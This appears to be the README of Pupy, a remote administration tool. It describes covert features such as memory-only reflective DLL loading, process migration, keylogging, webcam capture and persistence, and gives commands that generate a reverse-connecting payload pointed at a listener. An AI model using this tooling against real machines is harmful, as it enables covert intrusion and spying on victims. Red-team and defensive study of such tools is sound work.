Pupy is an opensource, multi-platform Remote Administration Tool with an embedded Python interpreter, allowing its modules to load python packages from memory and transparently access remote python objects. Pupy can communicate using different transports and have a bunch of cool features & modules. On Windows, Pupy uses reflective dll injection and leaves no traces on disk.

• On windows, the Pupy payload is compiled as a reflective DLL and the whole python interpreter is loaded from memory. Pupy does not touch the disk :)
• Pupy can reflectively migrate into other processes
• Pupy can remotely import, from memory, pure python packages (.py, .pyc) and compiled python C extensions (.pyd). The imported python modules do not touch the disk. (.pyd mem import currently work on Windows only, .so memory import is not implemented).
• Modules are quite simple to write and pupy is easily extensible.
• A lot of awesome modules are already implemented !
• Pupy uses rpyc and a module can directly access python objects on the remote client
  • We can also access remote objects interactively from the pupy shell and even auto completion of remote attributes works !
• Communication transports are modular and pupy can communicate using obfsproxy pluggable transports
• All the non interactive modules can be dispatched on multiple hosts in one command
• Multi-platform (tested on windows 7, windows xp, kali linux, ubuntu, osx)
• Modules can be executed as background jobs and their output be retrieved later
• Commands and scripts running on remote hosts are interruptible
• Auto-completion for commands and arguments
• Nice colored output :-)
• Commands aliases can be defined in the config

• tcp_cleartext
  • A good example to look at, it's a protocol that does nothing
• tcp_base64
  • it's more to have a simple example
• tcp_ssl (the default one)
• obfs3
  • A protocol to keep a third party from telling what protocol is in use based on message contents
• scramblesuit
  • A Polymorphic Network Protocol to Circumvent Censorship

• migrate
  • inter process architecture injection also works (x86->x64 and x64->x86)
• command execution
• interactive shell (cmd.exe, /bin/sh, /bin/bash, ...)
  • tty allocation is well supported on target running a unix system. Just looks like a ssh shell
• interactive python shell
• download
• upload
• persistence
• screenshot
• webcam snapshot
  • to spy on your crush
• in memory execution of PE exe both x86 and x64 !
  • works very well with mimitakz :-)
• socks5 proxy
• local port forwarding
• shellcode exec (thanks to @byt3bl33d3r)
• keylogger
  • monitor keys, the windows titles the text is typed in and the clipboard ! (thanks @golind for the updates)
• mouselogger:
  • takes small screenshots around the mouse at each click and send them back to the server (thanks @golind)

##Quick start ###Installation :

pip install rpyc
pip install pefile 

####Troubleshooting: If you have some issues with rpyc while running the server on windows, take a look at issue #25, @deathfantasy made a fix

In these examples the server is running on a linux host (tested on kali linux) and it's IP address is 192.168.0.1
The clients have been tested on (Windows 7, Windows XP, kali linux, ubuntu, Mac OS X 10.10.5)

./pupygen.py 192.168.0.1 -p 443 -t exe_x86 -o pupyx86.exe

you can also :

• use -t dll_x86 or dll_x64 to generate a reflective DLL and inject/load it by your own means.
• customize the transport used by supplying it with --transport

pip install rpyc #(or manually copy it if you are not admin)
python pp.py 192.168.0.1:443

you can also build a single binary with pyinstaller :

pyinstaller --onefile /full_path/pupy/pupy/pp.py

easy_install rpyc #(or manually copy it if you are not admin)
python pp.py 192.168.0.1:443

you can also build a single binary with pyinstaller (but you can't "cross-compile", pyinstaller currently only support this from osx):

pyinstaller --onefile /full_path/pupy/pupy/pp.py

1. eventually edit pupy.conf to change the bind address / port
2. start the pupy server with the transport used by the client (tcp_ssl by default):

./pupysh.py --transport <transport_used>

#####list connected clients #####help #####execute python code on all clients #####execute a command on all clients, exception is retrieved in case the command does not exists #####use a filter to send a module only on selected clients #####migrate into another process #####interactive shell #####interactive python shell #####upload and run another PE exe from memory #####list available modules (the list is not up to date)

##Example: How to write a MsgBox module first of all write the function/class you want to import on the remote client
in the example we create the file pupy/packages/windows/all/pupwinutils/msgbox.py

import ctypes
import threading

def MessageBox(text, title):
	t=threading.Thread(target=ctypes.windll.user32.MessageBoxA, args=(None, text, title, 0))
	t.daemon=True
	t.start()

then, simply create a module to load our package and call the function remotely

class MsgBoxPopup(PupyModule):
	""" Pop up a custom message box """

	def init_argparse(self):
		self.arg_parser = PupyArgumentParser(prog="msgbox", description=self.__doc__)
		self.arg_parser.add_argument('--title', help='msgbox title')
		self.arg_parser.add_argument('text', help='text to print in the msgbox :)')

	@windows_only
	def is_compatible(self):
		pass

	def run(self, args):
		self.client.load_package("pupwinutils.msgbox")
		self.client.conn.modules['pupwinutils.msgbox'].MessageBox(args.text, args.title)
		self.log("message box popped !")

and that's it, we have a fully functional module :)

>> run msgbox -h
usage: msgbox [-h] [--title TITLE] text

Pop up a custom message box

positional arguments:
  text           text to print in the msgbox :)

  optional arguments:
    -h, --help     show this help message and exit
    --title TITLE  msgbox title

rpyc (https://github.com/tomerfiliba/rpyc)
pycrypto pefile yaml (only needed if using scramblesuit transport)

##Roadmap and ideas Some ideas without any priority order

• make the PE memory execution works interactively
• handle tty in interactive shell
• exfiltration through obfsproxy obfuscated network stream ?
• webcam snapshots
• bind payloads instead of reverse
• make the network transports stackable (for example to encapsulate SSL over scramblesuit)
• make the python compiled C extension load from memory on linux
• make the migrate modules works on linux
• add offline options to payloads like enable/disable certificate checking, embed offline modules (persistence, keylogger, ...), etc...
• integrate scapy in the windows dll :D (that would be fun)
• then make some network attack/sniffing tools modules using scapy
• work on stealthiness under unix systems
• mic recording
• socks5 udp support
• remote port forwarding
• add a wiki and write some documentation
• split the README into the wiki
• The backdoor factory ?
• Impacket ?
• support for https proxy
• HTTP transport
• UDP transport
• DNS transport
• ICMP transport
• bypass UAC module
• privilege elevation module
• ...
• any cool idea ?

Does the server works on windows ?

Pupy server works best on linux. the server on windows has not been really tested and there is probably a lot of bugs. I try my best to code in a portable way but it don't always find the time to fix everything. If you find the courage to patch non portable code, I will gladly accept push requests ! :)

I can't install it how does it work ?

Use pip to install all the dependencies

hey c4n y0u add a DDOS module plzz?

No.

by mail: [email protected]
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If some of you want to participate or send me a feedback, don't hesitate :-)

This project is a personal development, please respect its philosophy and don't use it for evil purpose !